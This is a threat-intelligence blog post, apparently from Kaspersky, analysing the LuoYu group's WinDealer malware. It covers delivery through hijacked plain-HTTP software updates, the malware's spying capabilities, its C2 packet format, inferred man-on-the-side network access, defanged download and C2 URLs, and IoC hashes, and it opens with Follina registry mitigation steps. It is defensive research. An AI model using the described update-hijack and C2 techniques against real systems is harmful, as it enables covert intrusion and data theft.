We expect to see more Follina exploitation attempts to gain access to corporate resources, including for ransomware attacks and data breaches. Therefore, we continue to closely monitor the situation and improve overall vulnerability detection. In addition, as part of the Managed Detection and Response service, our SOC experts can detect vulnerability exploitation, investigate attacks and provide clients with all necessary threat-related information.
To protect against Follina exploitation, we strongly advise that you follow Microsoft’s own guidelines: Guidance for CVE-2022-30190 Microsoft Support Diagnostic Tool Vulnerability. In particular, to prevent exploitation of this vulnerability, you can disable support for the MSDT URL protocol by taking these steps:

  1. Run Command Prompt as Administrator.
  2. To back up the registry key, execute the command “reg export HKEY_CLASSES_ROOT\ms-msdt filename”
  3. Execute the command “reg delete HKEY_CLASSES_ROOT\ms-msdt /f”.

WinDealer dealing on the side

2 Červen, 2022 - 12:00


LuoYu is a lesser-known threat actor that has been active since 2008. It primarily goes after targets located in China, such as foreign diplomatic organizations established in the country, members of the academic community, or companies from the defense, logistics and telecommunications sectors. In their initial disclosures on this threat actor, TeamT5 identified three malware families: SpyDealer, Demsty and WinDealer. The actor behind these families is capable of targeting Windows, Linux and macOS machines, as well as Android devices.

In previous years, Kaspersky investigated LuoYu’s activities and was able to confirm the connection between Demsty and WinDealer. On January 27, we delivered a joint presentation with TeamT5 and ITOCHU Corporation at Japan Security Analyst Conference (JSAC) to provide an update on the actor’s latest activities. In this article, we will focus on one of the most groundbreaking developments: the fact that LuoYu has the ability to perform man-on-the-side attacks.

Delivery method

In the past, LuoYu used watering-hole attacks (for instance, on local news websites) to infect their targets. Seeing that some variants of their Android malware impersonate a popular messaging app in Asia, it is also likely that malicious APKs are distributed in a variety of ways, including social engineering to convince users to install fake updates for their applications.

In 2020, we discovered a whole new distribution method for the WinDealer malware that leverages the automatic update mechanism of select legitimate applications. In one case we investigated, we noticed that a signed executable qgametool.exe (MD5 f756083b62ba45dcc6a4d2d2727780e4), compiled in 2012, deployed WinDealer on a target machine. This program contains a hardcoded URL that it uses to check for updates, as shown in the following screenshot:

Update URL hardcoded in qgametool.exe

The executable located at this URL (hxxp://download.pplive[.]com/PPTV(pplive)_forap_1084_9993.exe, MD5 270902c6bb6844dc25ffaec801393245) is benign, but our telemetry shows that on rare occasions, a WinDealer sample (MD5 ce65092fe9959cc0ee5a8408987e3cd4) is delivered instead.

Observed WinDealer infection flow

We also identified online message board posts where Chinese-speaking users reported the discovery of malware under the same name – PPTV(pplive)_forap_1084_9993.exe – on their machine. The posted information was complete enough for us to confirm that they had indeed received a sample of WinDealer.
Leaving the mystery of the delivery method aside for now, let’s look at the capabilities of the malware itself.

WinDealer’s technical description

WinDealer is a modular malware platform. It starts execution by locating an embedded DLL file placed in its resources by looking for a hardcoded pattern, and proceeds to decode it using a 10-byte XOR key.

Layout of the encrypted data

WinDealer’s logic is spread over the initial EXE and its companion DLL: the former contains the setup of the program as well as network communications, while the orders sent by the C2 are implemented in the latter. The malware possesses the following capabilities:

  • File and file system manipulation: reading, writing and deleting files, listing directories, obtaining disk information;
  • Information gathering: collecting hardware details, network configuration and/or keyboard layout, listing running processes, installed applications and configuration files of popular messaging applications (Skype, QQ, WeChat and Wangwang);
  • Download and upload of arbitrary files;
  • Arbitrary command execution;
  • System-wide search across text files and Microsoft Word documents;
  • Screenshot capture;
  • Network discovery via ping scan;
  • Backdoor maintenance: set up or remove persistence (via the registry’s RUN key), configuration updates.

A variant we discovered (MD5 26064e65a7e6ce620b0ff7b4951cf340) also featured the ability to list available Wi-Fi networks. Overall, WinDealer is able to collect an impressive amount of information, even when compared to other malware families. And yet, the most extraordinary aspect of WinDealer lies elsewhere.

The impossible infrastructure

The latest WinDealer sample we discovered in 2020 doesn’t contain a hardcoded C2 server but instead relies on a complex IP generation algorithm to determine which machine to contact. The details of this algorithm are left as an exercise to the reader, but the end result is that the IP address is selected at random from one of these two ranges:


Once the IP address has been selected, communications take place either over UDP port 6999 or TCP port 55556. In an even weirder twist, a research partner shared with us an additional WinDealer sample (MD5 d9a6725b6a2b38f96974518ec9e361ab) that communicates with the hardcoded URL “http://www[.]microsoftcom/status/getsign.asp”. This domain is obviously invalid and cannot resolve to anything in normal circumstances – yet the malware expects a response in a predetermined format (“\x11\x22\x??\x33\x44”).

Packets exchanged with the C2 server contain a header (described in the next table) followed by AES-encrypted data. They leverage a homemade binary protocol containing magic numbers and flags, making it easy to recognize and filter packets on a large scale.



Sample value (in hex)

0x00 Magic number 06 81 DA 91 CE C7 9F 43 0x08 Target identifier 57 5B 73 B2 0x0C Flag set by the attacker. Its exact meaning remains unclear 00 or 0B or 16 0x0D Connection type or backdoor command identifier
0 = initial connection
1 = subsequent connection
Others = backdoor command identifiers 00 0x0E Unknown static value 14 0x0F Unknown value 00 0x10 Payload
Initial connection: the generated AES key and its CRC32, encrypted using RSA-2048 with a hardcoded public key.
All other packets: payload size followed by encrypted payload using AES-128 in ECB mode with the generated AES key. 03 4D 5D 44 C3 1E 0A DA
A3 4A 86 A3 CC ED 67 38
… The man-on-the-side attack

Putting all the pieces together, WinDealer’s infrastructure is nothing short of extraordinary:

  • It appears to be distributed via plain HTTP requests that normally return legitimate executables.
  • It communicates with IP addresses selected randomly inside a specific AS.
  • It can interact with non-existent domain names.

It is very hard to believe that an attacker would be able to control the 48,000 IP addresses of the aforementioned IP ranges, or even a significant portion of them. The only way to explain these seemingly impossible network behaviors is by assuming the existence of a man-on-the-side attacker who is able to intercept all network traffic and even modify it if needed.

Such capabilities are not unheard of: the QUANTUM program revealed in 2014 was the first known instance. The general idea is that when the attacker sees a request for a specific resource on the network, it tries to reply to the target faster than the legitimate server. If the attacker wins the “race”, the target machine will use the attacker-supplied data instead of the normal data. This is consistent with the scenario described earlier in this article, where the target receives an infected executable instead of the normal one. Automatic updaters are prime targets for such attacks as they perform frequent requests – it doesn’t matter if the attackers don’t win most races, as they can try again until they succeed, guaranteeing that they will infect their targets eventually. This class of attack is particularly devastating because there is nothing users can do to protect themselves, apart from routing traffic through another network. This can be done with the use of a VPN, but these may be illegal depending on the jurisdiction and would typically not be available to Chinese-speaking targets.

Confirming our assessment, we later discovered a downloader utility (MD5 4e07a477039b37790f7a8e976024eb66) that uses the same unique user-agent as WinDealer samples we analyzed (“BBB”), tying it weakly to LuoYu.

A downloader utility and WinDealer of 2021 use the unique user-agent “BBB”

The downloader periodically retrieves and runs an executable from hxxp://www.baidu[.]com/status/windowsupdatedmq.exe. This URL normally returns a 404 error and we consider it extremely unlikely that the attackers have control over this domain.

Based on all the evidence laid out above, we speculate that the attackers may have the following capabilities over AS4134:

  • Intercepting all network traffic, which allows them to receive backdoor responses to random IP addresses without having to deploy actual C2 servers.
  • Injecting arbitrary TCP and UDP packets on the network, a capability through which they can send orders to WinDealer.
  • Full control over the DNS, meaning they can provide responses for non-existent domains.
  • Either QUANTUMINSERT capabilities or the ability to modify the contents of HTTP packets on the fly, thanks to which they can achieve remote, zero-click malware installation by abusing auto-update mechanisms. One noteworthy observation is that the attackers specifically target plain HTTP sessions, indicating that they may not have the ability to break or downgrade HTTPS.
WinDealer’s targets

Our analysis of WinDealer reveals that it specifically looks for popular applications in Asia, such as QQ, WeChat and WangWang. It also contains references to registry keys created by Sogou programs. This indicates to us that the LuoYu APT is predominantly focused on Chinese-speaking targets and organizations related to China. Our telemetry confirms that the vast majority of LuoYu targets are located in China, with occasional infections in other countries such as Germany, Austria, the United States, Czech Republic, Russia and India.

In recent months, LuoYu has started to widen its scope to companies and users in East Asia and their branches located in China.

Geographic distribution of WinDealer targets


With this report, we recognize LuoYu as an extremely sophisticated threat actor able to leverage capabilities available only to the most mature attackers. We can only speculate as to how they were able to obtain such capabilities. They could have compromised routers on the route to (or inside) AS4134. Alternatively, they may use signals intelligence methods unknown to the general public. They may even have access (legitimate or fraudulent) to law enforcement tools set up at the ISP level and are abusing them to perform offensive operations. Overall, a threat actor is leveraging capabilities that could be compared (but are distinct) from the QUANTUMINSERT program in order to infect targets located in China.

Man-on-the-side attacks are devastating because they do not require any interaction with the target to lead to a successful infection: simply having a machine connected to the internet is enough. They can only be detected through careful network monitoring, which is outside of the realm of everyday users, or if an endpoint security program catches the payload when it is deployed on the attacked computer.

Whatever the case, the only way for potential targets to defend against such intrusions is to remain extremely vigilant and have robust security procedures involving regular antivirus scans, analysis of outbound network traffic and extensive logging to detect anomalies.

Indicators of Compromise

WinDealer samples

MD5: ce65092fe9959cc0ee5a8408987e3cd4
SHA-1: 87635d7632568c98c0091d4a53680fd920096327
SHA-256: 27c51026b89c124a002589c24cd99a0c116afd73c4dc37f013791f757ced7b7e

MD5: 0c8663bf912ef4d69a1473597925feeb
SHA-1: 78294dfc4874b54c870b8daf7c43cfb5d8c211d0
SHA-256: db034aeb3c72b75d955c02458ba2991c99033ada444ebed4e2a1ed4c9326c400

MD5: 1bd4911ea9eba86f7745f2c1a45bc01b
SHA-1: f64c63f6e17f082ea254f0e56a69b389e35857fd
SHA-256: 25cbfb26265889754ccc5598bf5f21885e50792ca0686e3ff3029b7dc4452f4d

MD5: 5a7a90ceb6e7137c753d8de226fc7947
SHA-1: 204a603c409e559b65c35208200a169a232da94c
SHA-256: 1e9fc7f32bd5522dd0222932eb9f1d8bd0a2e132c7b46cfcc622ad97831e6128

MD5: 73695fc3868f541995b3d1cc4dfc1350
SHA-1: 158c7382c88e10ab0208c9a3c72d5f579b614947
SHA-256: ea4561607c00687ea82b3365de26959f1adb98b6a9ba64fa6d47a6c19f22daa4

MD5: 76ba5272a17fdab7521ea21a57d23591
SHA-1: 6b831413932a394bd9fb25e2bbdc06533821378c
SHA-256: ecd001aeb6bcbafb3e2fda74d76eea3c0ddad4e6e7ff1f43cd7709d4b4580261

MD5: 8410893f1f88c5d9ab327bc139ff295d
SHA-1: 64a1785683858d8b6f4e7e2b2fac213fb752bae0
SHA-256: 318c431c56252f9421c755c281db7bd99dc1efa28c44a8d6db4708289725c318

MD5: cc7207f09a6fe41c71626ad4d3f127ce
SHA-1: 84e749c37978f9387e16fab29c7b1b291be93a63
SHA-256: 28df5c75a2f78120ff96d4a72a3c23cee97c9b46c96410cf591af38cb4aed0fa

MD5: e01b393e8897ed116ba9e0e87a4b1da1
SHA-1: 313b231491408bd107cecf0207868336f26d79ba
SHA-256: 4a9b37ca2f90bfa90b0b8db8cc80fe01d154ba88e3bc25b00a7f8ff6c509a76f

MD5: ef25d934d12684b371a17c76daf3662c
SHA-1: b062773bdd9f8433cbd6e7642226221972ecd4e1
SHA-256: 08530e8280a93b8a1d51c20647e6be73795ef161e3b16e22e5e23d88ead4e226

MD5: faa8eaed63c4e9f212ef81e2365dd9e8
SHA-1: 0d3a5725b6f740929b51f9a8611b4f843e2e07b1
SHA-256: b9f526eea625eec1ddab25a0fc9bd847f37c9189750499c446471b7a52204d5a